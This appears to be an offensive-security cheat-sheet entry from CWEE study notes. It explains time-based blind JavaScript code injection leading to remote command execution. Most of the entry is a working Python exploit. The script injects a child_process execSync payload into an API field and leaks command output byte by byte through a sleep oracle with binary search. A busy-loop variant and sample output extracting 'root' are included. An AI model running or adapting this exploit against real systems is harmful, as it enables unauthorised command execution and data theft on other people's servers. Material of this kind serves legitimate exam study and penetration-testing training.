Time-based
Time-based blind RCE: sleep oracle + binary-search byte extraction
Time oracle: execSync sleeps DELAY only when a target output byte’s ordinal exceeds a midpoint; binary-searches each byte in ~7 requests until a resolved 0 marks end of output.
With nothing echoed, a time oracle separates True from False. execSync runs a shell snippet that reads one byte of the command output and sleeps DELAY seconds only when that byte’s ordinal exceeds a midpoint, so a slow response means greater-than. byte_at binary-searches the 0-127 range and resolves each byte in about seven requests rather than scanning a full charset; a resolved value of 0 marks end of output and stops the dump. The shell snippet uses od plus arithmetic and contains no single quotes, so it cannot terminate the execSync('...') string (the command itself must likewise be single-quote free). Where only pure-JS injection is reachable (no child_process), the same boolean is turned into a delay with a busy-loop such as while(Date.now()-t<DELAY){} gated on the condition. THRESH is set below DELAY to tolerate latency; raise DELAY on noisy links.
import time, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
GEN_URL = "https://target/api/service/generate"
CMD = "whoami" # stdout to exfiltrate (must contain no single quotes)
DELAY = 2 # sleep seconds == the time oracle
THRESH = DELAY - 0.5
def oracle(pos, val):
# True when the ordinal of CMD's stdout byte at 1-based <pos> is greater than <val>
bash = (f"v=$({CMD} | head -c {pos} | tail -c 1 | od -An -tu1);"
f"[ $((v+0)) -gt {val} ] && sleep {DELAY}")
payload = {"text": f"'}}) + require('child_process').execSync('{bash}')//"}
t = time.time()
s.post(GEN_URL, json=payload, verify=False, proxies=PROXIES)
return time.time() - t >= THRESH
def byte_at(pos):
lo, hi = 0, 127 # binary search resolves the byte in ~7 requests
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle(pos, mid):
lo = mid
else:
hi = mid - 1
return lo # 0 == no byte -> end of output
def dump():
out, pos = b"", 1
while (v := byte_at(pos)):
out += bytes([v])
print(f"[+] pos {pos}: {chr(v)!r} -> {out.decode(errors='replace')!r}")
pos += 1
print(f"[*] done: {out.decode(errors='replace')}")
return out
# s: authenticated requests.Session (admin bearer token already in s.headers)
dump()Time oracle signal
fast (~0.1s) -> output byte ordinal <= midpoint (False)
slow (~2.0s) -> output byte ordinal > midpoint (True, sleep fired)CMD=‘whoami’
[+] pos 1: 'r' -> 'r'
[+] pos 2: 'o' -> 'ro'
[+] pos 3: 'o' -> 'roo'
[+] pos 4: 't' -> 'root'
[*] done: rootFind by: javascript injection, blind RCE, time based, sleep oracle, child_process, execSync, binary search exfil, blind command output, while spin, setTimeout oracle · Source: CWEE/JavaScript Code Injection (Time Based Blind.md)